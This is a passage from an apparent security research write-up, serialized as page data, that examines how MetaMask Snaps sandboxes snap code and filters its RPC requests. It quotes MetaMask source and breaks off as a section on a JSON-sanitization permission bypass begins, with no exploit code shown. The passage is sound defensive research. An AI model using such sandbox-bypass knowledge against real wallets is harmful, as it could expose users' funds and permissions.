",{"type":25,"tag":83,"props":51046,"children":51049},{"href":51047,"rel":51048},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[9066],[51050],{"type":30,"value":50514},{"type":25,"tag":7764,"props":51052,"children":51054},{"className":48725,"code":51053,"language":48727,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n    compartment.evaluate(sourceCode);\n    this.registerSnapExports(snapId, snapModule);\n});\n",[51055],{"type":25,"tag":264,"props":51056,"children":51057},{"__ignoreMap":7},[51058,51099,51129,51166],{"type":25,"tag":271,"props":51059,"children":51060},{"class":13593,"line":13594},[51061,51065,51069,51073,51078,51082,51086,51091,51095],{"type":25,"tag":271,"props":51062,"children":51063},{"style":16171},[51064],{"type":30,"value":46029},{"type":25,"tag":271,"props":51066,"children":51067},{"style":14289},[51068],{"type":30,"value":48828},{"type":25,"tag":271,"props":51070,"children":51071},{"style":13625},[51072],{"type":30,"value":1860},{"type":25,"tag":271,"props":51074,"children":51075},{"style":13620},[51076],{"type":30,"value":51077},"executeInSnapContext",{"type":25,"tag":271,"props":51079,"children":51080},{"style":13625},[51081],{"type":30,"value":394},{"type":25,"tag":271,"props":51083,"children":51084},{"style":13598},[51085],{"type":30,"value":49132},{"type":25,"tag":271,"props":51087,"children":51088},{"style":13625},[51089],{"type":30,"value":51090},", () ",{"type":25,"tag":271,"props":51092,"children":51093},{"style":14289},[51094],{"type":30,"value":27943},{"type":25,"tag":271,"props":51096,"children":51097},{"style":13625},[51098],{"type":30,"value":16431},{"type":25,"tag":271,"props":51100,"children":51101},{"class":13593,"line":11641},[51102,51107,51111,51116,51120,51125],{"type":25,"tag":271,"props":51103,"children":51104},{"style":13598},[51105],{"type":30,"value":51106},"    compartment",{"type":25,"tag":271,"props":51108,"children":51109},{"style":13625},[51110],{"type":30,"value":1860},{"type":25,"tag":271,"props":51112,"children":51113},{"style":13620},[51114],{"type":30,"value":51115},"evaluate",{"type":25,"tag":271,"props":51117,"children":51118},{"style":13625},[51119],{"type":30,"value":394},{"type":25,"tag":271,"props":51121,"children":51122},{"style":13598},[51123],{"type":30,"value":51124},"sourceCode",{"type":25,"tag":271,"props":51126,"children":51127},{"style":13625},[51128],{"type":30,"value":13665},{"type":25,"tag":271,"props":51130,"children":51131},{"class":13593,"line":14354},[51132,51136,51140,51145,51149,51153,51157,51162],{"type":25,"tag":271,"props":51133,"children":51134},{"style":14289},[51135],{"type":30,"value":49176},{"type":25,"tag":271,"props":51137,"children":51138},{"style":13625},[51139],{"type":30,"value":1860},{"type":25,"tag":271,"props":51141,"children":51142},{"style":13620},[51143],{"type":30,"value":51144},"registerSnapExports",{"type":25,"tag":271,"props":51146,"children":51147},{"style":13625},[51148],{"type":30,"value":394},{"type":25,"tag":271,"props":51150,"children":51151},{"style":13598},[51152],{"type":30,"value":49132},{"type":25,"tag":271,"props":51154,"children":51155},{"style":13625},[51156],{"type":30,"value":44},{"type":25,"tag":271,"props":51158,"children":51159},{"style":13598},[51160],{"type":30,"value":51161},"snapModule",{"type":25,"tag":271,"props":51163,"children":51164},{"style":13625},[51165],{"type":30,"value":13665},{"type":25,"tag":271,"props":51167,"children":51168},{"class":13593,"line":14391},[51169],{"type":25,"tag":271,"props":51170,"children":51171},{"style":13625},[51172],{"type":30,"value":48449},{"type":25,"tag":26,"props":51174,"children":51175},{},[51176,51178,51184,51185,51191,51192,51198],{"type":30,"value":51177},"According to the documentation, the snap must contain one of the following function exports: ",{"type":25,"tag":264,"props":51179,"children":51181},{"className":51180},[],[51182],{"type":30,"value":51183},"onRpcRequest",{"type":30,"value":44},{"type":25,"tag":264,"props":51186,"children":51188},{"className":51187},[],[51189],{"type":30,"value":51190},"onTransaction",{"type":30,"value":26259},{"type":25,"tag":264,"props":51193,"children":51195},{"className":51194},[],[51196],{"type":30,"value":51197},"onCronjob",{"type":30,"value":1860},{"type":25,"tag":26,"props":51200,"children":51201},{},[51202,51204,51209],{"type":30,"value":51203},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":25,"tag":264,"props":51205,"children":51207},{"className":51206},[],[51208],{"type":30,"value":50528},{"type":30,"value":51210}," environment of that Compartment.",{"type":25,"tag":26,"props":51212,"children":51213},{},[51214],{"type":30,"value":51215},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":25,"tag":96,"props":51217,"children":51219},{"id":51218},"vulnerability-research",[51220],{"type":30,"value":51221},"Vulnerability research",{"type":25,"tag":247,"props":51223,"children":51225},{"id":51224},"possible-attacks",[51226],{"type":30,"value":51227},"Possible attacks",{"type":25,"tag":26,"props":51229,"children":51230},{},[51231],{"type":30,"value":51232},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":25,"tag":108,"props":51234,"children":51235},{},[51236,51241,51246,51251],{"type":25,"tag":112,"props":51237,"children":51238},{},[51239],{"type":30,"value":51240},"Broken SES Container isolation",{"type":25,"tag":112,"props":51242,"children":51243},{},[51244],{"type":30,"value":51245},"Insecure endowments in Containers",{"type":25,"tag":112,"props":51247,"children":51248},{},[51249],{"type":30,"value":51250},"Incorrect RPC permission checks",{"type":25,"tag":112,"props":51252,"children":51253},{},[51254],{"type":30,"value":51255},"Insecure snap installation/update",{"type":25,"tag":26,"props":51257,"children":51258},{},[51259],{"type":30,"value":51260},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":25,"tag":26,"props":51262,"children":51263},{},[51264],{"type":30,"value":51265},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":25,"tag":247,"props":51267,"children":51269},{"id":51268},"rpc-interfaces-endowments",[51270],{"type":30,"value":51271},"RPC interfaces endowments",{"type":25,"tag":2352,"props":51273,"children":51275},{"id":51274},"providers-limitations",[51276],{"type":30,"value":51277},"Providers limitations",{"type":25,"tag":26,"props":51279,"children":51280},{},[51281,51283,51289,51290,51295,51297,51304],{"type":30,"value":51282},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":25,"tag":264,"props":51284,"children":51286},{"className":51285},[],[51287],{"type":30,"value":51288},"snap",{"type":30,"value":12218},{"type":25,"tag":264,"props":51291,"children":51293},{"className":51292},[],[51294],{"type":30,"value":44529},{"type":30,"value":51296}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":25,"tag":83,"props":51298,"children":51301},{"href":51299,"rel":51300},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[9066],[51302],{"type":30,"value":51303},"methods",{"type":30,"value":359},{"type":25,"tag":7764,"props":51306,"children":51308},{"className":48725,"code":51307,"language":48727,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n  assert(\n    String.prototype.startsWith.call(args.method, 'wallet_') ||\n      String.prototype.startsWith.call(args.method, 'snap_'),\n    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n  );\n  assert(\n    !BLOCKED_RPC_METHODS.includes(args.method),\n    ethErrors.rpc.methodNotFound({\n      data: {\n        method: args.method,\n      },\n    }),\n  );\n  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[51309],{"type":25,"tag":264,"props":51310,"children":51311},{"__ignoreMap":7},[51312,51352,51360,51372,51442,51503,51515,51523,51534,51574,51604,51616,51641,51648,51656,51663,51701],{"type":25,"tag":271,"props":51313,"children":51314},{"class":13593,"line":13594},[51315,51320,51325,51330,51334,51339,51343,51348],{"type":25,"tag":271,"props":51316,"children":51317},{"style":16171},[51318],{"type":30,"value":51319},"export",{"type":25,"tag":271,"props":51321,"children":51322},{"style":14289},[51323],{"type":30,"value":51324}," function",{"type":25,"tag":271,"props":51326,"children":51327},{"style":13620},[51328],{"type":30,"value":51329}," assertSnapOutboundRequest",{"type":25,"tag":271,"props":51331,"children":51332},{"style":13625},[51333],{"type":30,"value":394},{"type":25,"tag":271,"props":51335,"children":51336},{"style":13598},[51337],{"type":30,"value":51338},"args",{"type":25,"tag":271,"props":51340,"children":51341},{"style":13603},[51342],{"type":30,"value":359},{"type":25,"tag":271,"props":51344,"children":51345},{"style":13609},[51346],{"type":30,"value":51347}," RequestArguments",{"type":25,"tag":271,"props":51349,"children":51350},{"style":13625},[51351],{"type":30,"value":27925},{"type":25,"tag":271,"props":51353,"children":51354},{"class":13593,"line":11641},[51355],{"type":25,"tag":271,"props":51356,"children":51357},{"style":14385},[51358],{"type":30,"value":51359},"  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":25,"tag":271,"props":51361,"children":51362},{"class":13593,"line":14354},[51363,51368],{"type":25,"tag":271,"props":51364,"children":51365},{"style":13620},[51366],{"type":30,"value":51367},"  assert",{"type":25,"tag":271,"props":51369,"children":51370},{"style":13625},[51371],{"type":30,"value":16609},{"type":25,"tag":271,"props":51373,"children":51374},{"class":13593,"line":14391},[51375,51380,51384,51389,51393,51398,51402,51407,51411,51415,51419,51424,51428,51433,51437],{"type":25,"tag":271,"props":51376,"children":51377},{"style":13609},[51378],{"type":30,"value":51379},"    String",{"type":25,"tag":271,"props":51381,"children":51382},{"style":13625},[51383],{"type":30,"value":1860},{"type":25,"tag":271,"props":51385,"children":51386},{"style":13598},[51387],{"type":30,"value":51388},"prototype",{"type":25,"tag":271,"props":51390,"children":51391},{"style":13625},[51392],{"type":30,"value":1860},{"type":25,"tag":271,"props":51394,"children":51395},{"style":13598},[51396],{"type":30,"value":51397},"startsWith",{"type":25,"tag":271,"props":51399,"children":51400},{"style":13625},[51401],{"type":30,"value":1860},{"type":25,"tag":271,"props":51403,"children":51404},{"style":13620},[51405],{"type":30,"value":51406},"call",{"type":25,"tag":271,"props":51408,"children":51409},{"style":13625},[51410],{"type":30,"value":394},{"type":25,"tag":271,"props":51412,"children":51413},{"style":13598},[51414],{"type":30,"value":51338},{"type":25,"tag":271,"props":51416,"children":51417},{"style":13625},[51418],{"type":30,"value":1860},{"type":25,"tag":271,"props":51420,"children":51421},{"style":13598},[51422],{"type":30,"value":51423},"method",{"type":25,"tag":271,"props":51425,"children":51426},{"style":13625},[51427],{"type":30,"value":44},{"type":25,"tag":271,"props":51429,"children":51430},{"style":17388},[51431],{"type":30,"value":51432},"'wallet_'",{"type":25,"tag":271,"props":51434,"children":51435},{"style":13625},[51436],{"type":30,"value":14406},{"type":25,"tag":271,"props":51438,"children":51439},{"style":13603},[51440],{"type":30,"value":51441},"||\n",{"type":25,"tag":271,"props":51443,"children":51444},{"class":13593,"line":14400},[51445,51450,51454,51458,51462,51466,51470,51474,51478,51482,51486,51490,51494,51499],{"type":25,"tag":271,"props":51446,"children":51447},{"style":13609},[51448],{"type":30,"value":51449},"      String",{"type":25,"tag":271,"props":51451,"children":51452},{"style":13625},[51453],{"type":30,"value":1860},{"type":25,"tag":271,"props":51455,"children":51456},{"style":13598},[51457],{"type":30,"value":51388},{"type":25,"tag":271,"props":51459,"children":51460},{"style":13625},[51461],{"type":30,"value":1860},{"type":25,"tag":271,"props":51463,"children":51464},{"style":13598},[51465],{"type":30,"value":51397},{"type":25,"tag":271,"props":51467,"children":51468},{"style":13625},[51469],{"type":30,"value":1860},{"type":25,"tag":271,"props":51471,"children":51472},{"style":13620},[51473],{"type":30,"value":51406},{"type":25,"tag":271,"props":51475,"children":51476},{"style":13625},[51477],{"type":30,"value":394},{"type":25,"tag":271,"props":51479,"children":51480},{"style":13598},[51481],{"type":30,"value":51338},{"type":25,"tag":271,"props":51483,"children":51484},{"style":13625},[51485],{"type":30,"value":1860},{"type":25,"tag":271,"props":51487,"children":51488},{"style":13598},[51489],{"type":30,"value":51423},{"type":25,"tag":271,"props":51491,"children":51492},{"style":13625},[51493],{"type":30,"value":44},{"type":25,"tag":271,"props":51495,"children":51496},{"style":17388},[51497],{"type":30,"value":51498},"'snap_'",{"type":25,"tag":271,"props":51500,"children":51501},{"style":13625},[51502],{"type":30,"value":19860},{"type":25,"tag":271,"props":51504,"children":51505},{"class":13593,"line":16406},[51506,51511],{"type":25,"tag":271,"props":51507,"children":51508},{"style":17388},[51509],{"type":30,"value":51510},"    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":25,"tag":271,"props":51512,"children":51513},{"style":13625},[51514],{"type":30,"value":14351},{"type":25,"tag":271,"props":51516,"children":51517},{"class":13593,"line":16434},[51518],{"type":25,"tag":271,"props":51519,"children":51520},{"style":13625},[51521],{"type":30,"value":51522},"  );\n",{"type":25,"tag":271,"props":51524,"children":51525},{"class":13593,"line":16447},[51526,51530],{"type":25,"tag":271,"props":51527,"children":51528},{"style":13620},[51529],{"type":30,"value":51367},{"type":25,"tag":271,"props":51531,"children":51532},{"style":13625},[51533],{"type":30,"value":16609},{"type":25,"tag":271,"props":51535,"children":51536},{"class":13593,"line":16465},[51537,51541,51546,51550,51554,51558,51562,51566,51570],{"type":25,"tag":271,"props":51538,"children":51539},{"style":13603},[51540],{"type":30,"value":34090},{"type":25,"tag":271,"props":51542,"children":51543},{"style":13598},[51544],{"type":30,"value":51545},"BLOCKED_RPC_METHODS",{"type":25,"tag":271,"props":51547,"children":51548},{"style":13625},[51549],{"type":30,"value":1860},{"type":25,"tag":271,"props":51551,"children":51552},{"style":13620},[51553],{"type":30,"value":48292},{"type":25,"tag":271,"props":51555,"children":51556},{"style":13625},[51557],{"type":30,"value":394},{"type":25,"tag":271,"props":51559,"children":51560},{"style":13598},[51561],{"type":30,"value":51338},{"type":25,"tag":271,"props":51563,"children":51564},{"style":13625},[51565],{"type":30,"value":1860},{"type":25,"tag":271,"props":51567,"children":51568},{"style":13598},[51569],{"type":30,"value":51423},{"type":25,"tag":271,"props":51571,"children":51572},{"style":13625},[51573],{"type":30,"value":19860},{"type":25,"tag":271,"props":51575,"children":51576},{"class":13593,"line":16486},[51577,51582,51586,51591,51595,51600],{"type":25,"tag":271,"props":51578,"children":51579},{"style":13598},[51580],{"type":30,"value":51581},"    ethErrors",{"type":25,"tag":271,"props":51583,"children":51584},{"style":13625},[51585],{"type":30,"value":1860},{"type":25,"tag":271,"props":51587,"children":51588},{"style":13598},[51589],{"type":30,"value":51590},"rpc",{"type":25,"tag":271,"props":51592,"children":51593},{"style":13625},[51594],{"type":30,"value":1860},{"type":25,"tag":271,"props":51596,"children":51597},{"style":13620},[51598],{"type":30,"value":51599},"methodNotFound",{"type":25,"tag":271,"props":51601,"children":51602},{"style":13625},[51603],{"type":30,"value":28262},{"type":25,"tag":271,"props":51605,"children":51606},{"class":13593,"line":16495},[51607,51612],{"type":25,"tag":271,"props":51608,"children":51609},{"style":13598},[51610],{"type":30,"value":51611},"      data:",{"type":25,"tag":271,"props":51613,"children":51614},{"style":13625},[51615],{"type":30,"value":16431},{"type":25,"tag":271,"props":51617,"children":51618},{"class":13593,"line":16744},[51619,51624,51629,51633,51637],{"type":25,"tag":271,"props":51620,"children":51621},{"style":13598},[51622],{"type":30,"value":51623},"        method:",{"type":25,"tag":271,"props":51625,"children":51626},{"style":13598},[51627],{"type":30,"value":51628}," args",{"type":25,"tag":271,"props":51630,"children":51631},{"style":13625},[51632],{"type":30,"value":1860},{"type":25,"tag":271,"props":51634,"children":51635},{"style":13598},[51636],{"type":30,"value":51423},{"type":25,"tag":271,"props":51638,"children":51639},{"style":13625},[51640],{"type":30,"value":14351},{"type":25,"tag":271,"props":51642,"children":51643},{"class":13593,"line":16761},[51644],{"type":25,"tag":271,"props":51645,"children":51646},{"style":13625},[51647],{"type":30,"value":50311},{"type":25,"tag":271,"props":51649,"children":51650},{"class":13593,"line":16778},[51651],{"type":25,"tag":271,"props":51652,"children":51653},{"style":13625},[51654],{"type":30,"value":51655},"    }),\n",{"type":25,"tag":271,"props":51657,"children":51658},{"class":13593,"line":16791},[51659],{"type":25,"tag":271,"props":51660,"children":51661},{"style":13625},[51662],{"type":30,"value":51522},{"type":25,"tag":271,"props":51664,"children":51665},{"class":13593,"line":16800},[51666,51671,51675,51679,51683,51688,51692,51697],{"type":25,"tag":271,"props":51667,"children":51668},{"style":13620},[51669],{"type":30,"value":51670},"  assertStruct",{"type":25,"tag":271,"props":51672,"children":51673},{"style":13625},[51674],{"type":30,"value":394},{"type":25,"tag":271,"props":51676,"children":51677},{"style":13598},[51678],{"type":30,"value":51338},{"type":25,"tag":271,"props":51680,"children":51681},{"style":13625},[51682],{"type":30,"value":44},{"type":25,"tag":271,"props":51684,"children":51685},{"style":13598},[51686],{"type":30,"value":51687},"JsonStruct",{"type":25,"tag":271,"props":51689,"children":51690},{"style":13625},[51691],{"type":30,"value":44},{"type":25,"tag":271,"props":51693,"children":51694},{"style":17388},[51695],{"type":30,"value":51696},"'Provided value is not JSON-RPC compatible'",{"type":25,"tag":271,"props":51698,"children":51699},{"style":13625},[51700],{"type":30,"value":13665},{"type":25,"tag":271,"props":51702,"children":51703},{"class":13593,"line":16823},[51704],{"type":25,"tag":271,"props":51705,"children":51706},{"style":13625},[51707],{"type":30,"value":17058},{"type":25,"tag":26,"props":51709,"children":51710},{},[51711,51713,51718,51720,51726,51727,51733],{"type":30,"value":51712},"This function is called by the ",{"type":25,"tag":264,"props":51714,"children":51716},{"className":51715},[],[51717],{"type":30,"value":51288},{"type":30,"value":51719}," RPC provider, so it can only send methods starting with ",{"type":25,"tag":264,"props":51721,"children":51723},{"className":51722},[],[51724],{"type":30,"value":51725},"wallet_",{"type":30,"value":26259},{"type":25,"tag":264,"props":51728,"children":51730},{"className":51729},[],[51731],{"type":30,"value":51732},"snap_",{"type":30,"value":51734},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":25,"tag":26,"props":51736,"children":51737},{},[51738,51740,51745,51747,51752,51754,51760],{"type":30,"value":51739},"On the other hand, the ",{"type":25,"tag":264,"props":51741,"children":51743},{"className":51742},[],[51744],{"type":30,"value":44529},{"type":30,"value":51746}," provider only blocks methods starting with ",{"type":25,"tag":264,"props":51748,"children":51750},{"className":51749},[],[51751],{"type":30,"value":51732},{"type":30,"value":51753}," and the blocked methods. However, it requires the ",{"type":25,"tag":264,"props":51755,"children":51757},{"className":51756},[],[51758],{"type":30,"value":51759},"endowment:ethereum-provider",{"type":30,"value":51761}," permission in the snap manifest.",{"type":25,"tag":2352,"props":51763,"children":51765},{"id":51764},"execution-flow",[51766],{"type":30,"value":51767},"Execution flow",{"type":25,"tag":26,"props":51769,"children":51770},{},[51771,51773,51778,51779,51784,51786,51791,51792,51798],{"type":30,"value":51772},"Both providers (",{"type":25,"tag":264,"props":51774,"children":51776},{"className":51775},[],[51777],{"type":30,"value":51288},{"type":30,"value":12218},{"type":25,"tag":264,"props":51780,"children":51782},{"className":51781},[],[51783],{"type":30,"value":44529},{"type":30,"value":51785},") are built outside the SES container with a ",{"type":25,"tag":264,"props":51787,"children":51789},{"className":51788},[],[51790],{"type":30,"value":44605},{"type":30,"value":14096},{"type":25,"tag":83,"props":51793,"children":51796},{"href":51794,"rel":51795},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[9066],[51797],{"type":30,"value":44489},{"type":30,"value":359},{"type":25,"tag":7764,"props":51800,"children":51802},{"className":49042,"code":51801,"language":49044,"meta":7,"style":7},"  const request = async (args: RequestArguments) => {\n      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n      const sanitizedArgs = getSafeJson(args);\n      this.notify({ method: 'OutboundRequest' });\n      try {\n        return await withTeardown(\n          originalRequest(sanitizedArgs as unknown as RequestArguments),\n          this as any,\n        );\n      } finally {\n        this.notify({ method: 'OutboundResponse' });\n      }\n    };\n",[51803],{"type":25,"tag":264,"props":51804,"children":51805},{"__ignoreMap":7},[51806,51853,51878,51911,51946,51958,51978,52016,52036,52043,52060,52093,52100],{"type":25,"tag":271,"props":51807,"children":51808},{"class":13593,"line":13594},[51809,51813,51817,51821,51825,51829,51833,51837,51841,51845,51849],{"type":25,"tag":271,"props":51810,"children":51811},{"style":14289},[51812],{"type":30,"value":49300},{"type":25,"tag":271,"props":51814,"children":51815},{"style":13620},[51816],{"type":30,"value":44494},{"type":25,"tag":271,"props":51818,"children":51819},{"style":13603},[51820],{"type":30,"value":16155},{"type":25,"tag":271,"props":51822,"children":51823},{"style":14289},[51824],{"type":30,"value":49477},{"type":25,"tag":271,"props":51826,"children":51827},{"style":13625},[51828],{"type":30,"value":16213},{"type":25,"tag":271,"props":51830,"children":51831},{"style":13598},[51832],{"type":30,"value":51338},{"type":25,"tag":271,"props":51834,"children":51835},{"style":13603},[51836],{"type":30,"value":359},{"type":25,"tag":271,"props":51838,"children":51839},{"style":13609},[51840],{"type":30,"value":51347},{"type":25,"tag":271,"props":51842,"children":51843},{"style":13625},[51844],{"type":30,"value":14406},{"type":25,"tag":271,"props":51846,"children":51847},{"style":14289},[51848],{"type":30,"value":27943},{"type":25,"tag":271,"props":51850,"children":51851},{"style":13625},[51852],{"type":30,"value":16431},{"type":25,"tag":271,"props":51854,"children":51855},{"class":13593,"line":11641},[51856,51861,51865,51869,51873],{"type":25,"tag":271,"props":51857,"children":51858},{"style":13620},[51859],{"type":30,"value":51860},"      assertSnapOutboundRequest",{"type":25,"tag":271,"props":51862,"children":51863},{"style":13625},[51864],{"type":30,"value":394},{"type":25,"tag":271,"props":51866,"children":51867},{"style":13598},[51868],{"type":30,"value":51338},{"type":25,"tag":271,"props":51870,"children":51871},{"style":13625},[51872],{"type":30,"value":41464},{"type":25,"tag":271,"props":51874,"children":51875},{"style":14385},[51876],{"type":30,"value":51877},"// or assertEthereumOutboundRequest(args);\n",{"type":25,"tag":271,"props":51879,"children":51880},{"class":13593,"line":14354},[51881,51885,51890,51894,51899,51903,51907],{"type":25,"tag":271,"props":51882,"children":51883},{"style":14289},[51884],{"type":30,"value":44659},{"type":25,"tag":271,"props":51886,"children":51887},{"style":13598},[51888],{"type":30,"value":51889}," sanitizedArgs",{"type":25,"tag":271,"props":51891,"children":51892},{"style":13603},[51893],{"type":30,"value":16155},{"type":25,"tag":271,"props":51895,"children":51896},{"style":13620},[51897],{"type":30,"value":51898}," getSafeJson",{"type":25,"tag":271,"props":51900,"children":51901},{"style":13625},[51902],{"type":30,"value":394},{"type":25,"tag":271,"props":51904,"children":51905},{"style":13598},[51906],{"type":30,"value":51338},{"type":25,"tag":271,"props":51908,"children":51909},{"style":13625},[51910],{"type":30,"value":13665},{"type":25,"tag":271,"props":51912,"children":51913},{"class":13593,"line":14391},[51914,51919,51923,51928,51932,51936,51941],{"type":25,"tag":271,"props":51915,"children":51916},{"style":14289},[51917],{"type":30,"value":51918},"      this",{"type":25,"tag":271,"props":51920,"children":51921},{"style":13625},[51922],{"type":30,"value":1860},{"type":25,"tag":271,"props":51924,"children":51925},{"style":13620},[51926],{"type":30,"value":51927},"notify",{"type":25,"tag":271,"props":51929,"children":51930},{"style":13625},[51931],{"type":30,"value":44610},{"type":25,"tag":271,"props":51933,"children":51934},{"style":13598},[51935],{"type":30,"value":44615},{"type":25,"tag":271,"props":51937,"children":51938},{"style":17388},[51939],{"type":30,"value":51940}," 'OutboundRequest'",{"type":25,"tag":271,"props":51942,"children":51943},{"style":13625},[51944],{"type":30,"value":51945}," });\n",{"type":25,"tag":271,"props":51947,"children":51948},{"class":13593,"line":14400},[51949,51954],{"type":25,"tag":271,"props":51950,"children":51951},{"style":16171},[51952],{"type":30,"value":51953},"      try",{"type":25,"tag":271,"props":51955,"children":51956},{"style":13625},[51957],{"type":30,"value":16431},{"type":25,"tag":271,"props":51959,"children":51960},{"class":13593,"line":16406},[51961,51965,51969,51974],{"type":25,"tag":271,"props":51962,"children":51963},{"style":16171},[51964],{"type":30,"value":28866},{"type":25,"tag":271,"props":51966,"children":51967},{"style":16171},[51968],{"type":30,"value":49323},{"type":25,"tag":271,"props":51970,"children":51971},{"style":13620},[51972],{"type":30,"value":51973}," withTeardown",{"type":25,"tag":271,"props":51975,"children":51976},{"style":13625},[51977],{"type":30,"value":16609},{"type":25,"tag":271,"props":51979,"children":51980},{"class":13593,"line":16434},[51981,51986,51990,51995,51999,52004,52008,52012],{"type":25,"tag":271,"props":51982,"children":51983},{"style":13620},[51984],{"type":30,"value":51985},"          originalRequest",{"type":25,"tag":271,"props":51987,"children":51988},{"style":13625},[51989],{"type":30,"value":394},{"type":25,"tag":271,"props":51991,"children":51992},{"style":13598},[51993],{"type":30,"value":51994},"sanitizedArgs",{"type":25,"tag":271,"props":51996,"children":51997},{"style":16171},[51998],{"type":30,"value":21948},{"type":25,"tag":271,"props":52000,"children":52001},{"style":13609},[52002],{"type":30,"value":52003}," unknown",{"type":25,"tag":271,"props":52005,"children":52006},{"style":16171},[52007],{"type":30,"value":21948},{"type":25,"tag":271,"props":52009,"children":52010},{"style":13609},[52011],{"type":30,"value":51347},{"type":25,"tag":271,"props":52013,"children":52014},{"style":13625},[52015],{"type":30,"value":19860},{"type":25,"tag":271,"props":52017,"children":52018},{"class":13593,"line":16447},[52019,52024,52028,52032],{"type":25,"tag":271,"props":52020,"children":52021},{"style":14289},[52022],{"type":30,"value":52023},"          this",{"type":25,"tag":271,"props":52025,"children":52026},{"style":16171},[52027],{"type":30,"value":21948},{"type":25,"tag":271,"props":52029,"children":52030},{"style":13609},[52031],{"type":30,"value":23482},{"type":25,"tag":271,"props":52033,"children":52034},{"style":13625},[52035],{"type":30,"value":14351},{"type":25,"tag":271,"props":52037,"children":52038},{"class":13593,"line":16465},[52039],{"type":25,"tag":271,"props":52040,"children":52041},{"style":13625},[52042],{"type":30,"value":20865},{"type":25,"tag":271,"props":52044,"children":52045},{"class":13593,"line":16486},[52046,52051,52056],{"type":25,"tag":271,"props":52047,"children":52048},{"style":13625},[52049],{"type":30,"value":52050},"      } ",{"type":25,"tag":271,"props":52052,"children":52053},{"style":16171},[52054],{"type":30,"value":52055},"finally",{"type":25,"tag":271,"props":52057,"children":52058},{"style":13625},[52059],{"type":30,"value":16431},{"type":25,"tag":271,"props":52061,"children":52062},{"class":13593,"line":16495},[52063,52068,52072,52076,52080,52084,52089],{"type":25,"tag":271,"props":52064,"children":52065},{"style":14289},[52066],{"type":30,"value":52067},"        this",{"type":25,"tag":271,"props":52069,"children":52070},{"style":13625},[52071],{"type":30,"value":1860},{"type":25,"tag":271,"props":52073,"children":52074},{"style":13620},[52075],{"type":30,"value":51927},{"type":25,"tag":271,"props":52077,"children":52078},{"style":13625},[52079],{"type":30,"value":44610},{"type":25,"tag":271,"props":52081,"children":52082},{"style":13598},[52083],{"type":30,"value":44615},{"type":25,"tag":271,"props":52085,"children":52086},{"style":17388},[52087],{"type":30,"value":52088}," 'OutboundResponse'",{"type":25,"tag":271,"props":52090,"children":52091},{"style":13625},[52092],{"type":30,"value":51945},{"type":25,"tag":271,"props":52094,"children":52095},{"class":13593,"line":16744},[52096],{"type":25,"tag":271,"props":52097,"children":52098},{"style":13625},[52099],{"type":30,"value":25789},{"type":25,"tag":271,"props":52101,"children":52102},{"class":13593,"line":16761},[52103],{"type":25,"tag":271,"props":52104,"children":52105},{"style":13625},[52106],{"type":30,"value":52107},"    };\n",{"type":25,"tag":26,"props":52109,"children":52110},{},[52111,52113,52118,52120,52125],{"type":30,"value":52112},"In particular, this function is from the ",{"type":25,"tag":264,"props":52114,"children":52116},{"className":52115},[],[52117],{"type":30,"value":51288},{"type":30,"value":52119}," provider, but the only thing that changes between this and ",{"type":25,"tag":264,"props":52121,"children":52123},{"className":52122},[],[52124],{"type":30,"value":44529},{"type":30,"value":52126}," is the assert function in the first line.",{"type":25,"tag":26,"props":52128,"children":52129},{},[52130],{"type":30,"value":52131},"As we can see in the code, the execution flow follows this pattern:",{"type":25,"tag":661,"props":52133,"children":52134},{},[52135,52147,52152],{"type":25,"tag":112,"props":52136,"children":52137},{},[52138,52140,52145],{"type":30,"value":52139},"Assert if ",{"type":25,"tag":264,"props":52141,"children":52143},{"className":52142},[],[52144],{"type":30,"value":51338},{"type":30,"value":52146}," are valid",{"type":25,"tag":112,"props":52148,"children":52149},{},[52150],{"type":30,"value":52151},"getSafeJson to get sanitizedArgs",{"type":25,"tag":112,"props":52153,"children":52154},{},[52155],{"type":30,"value":52156},"originalRequest(sanitizedArgs)",{"type":25,"tag":26,"props":52158,"children":52159},{},[52160,52162,52168],{"type":30,"value":52161},"Obs: ",{"type":25,"tag":264,"props":52163,"children":52165},{"className":52164},[],[52166],{"type":30,"value":52167},"originalRequest",{"type":30,"value":52169}," makes the RPC call to metamask service worker",{"type":25,"tag":247,"props":52171,"children":52173},{"id":52172},"safe-json-exploit",[52174],{"type":30,"value":52175},"Safe JSON Exploit",{"type":25,"tag":26,"props":52177,"children":52178},{},[52179,52181,52187,52189,52194,52196,52202],{"type":30,"value":52180},"As we dug further into the",{"type":25,"tag":264,"props":52182,"children":52184},{"className":52183},[],[52185],{"type":30,"value":52186},"getSafeJson",{"type":30,"value":52188}," function (defined in ",{"type":25,"tag":264,"props":52190,"children":52192},{"className":52191},[],[52193],{"type":30,"value":50408},{"type":30,"value":52195}," package) we discovered the following ",{"type":25,"tag":83,"props":52197,"children":52200},{"href":52198,"rel":52199},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[9066],[52201],{"type":30,"value":264},{"type":30,"value":359},{"type":25,"tag":7764,"props":52204,"children":52206},{"className":48725,"code":52205,"language":48727,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n  assertStruct(value, UnsafeJsonStruct);\n  return JSON.parse(\n    JSON.stringify(value, (propKey, 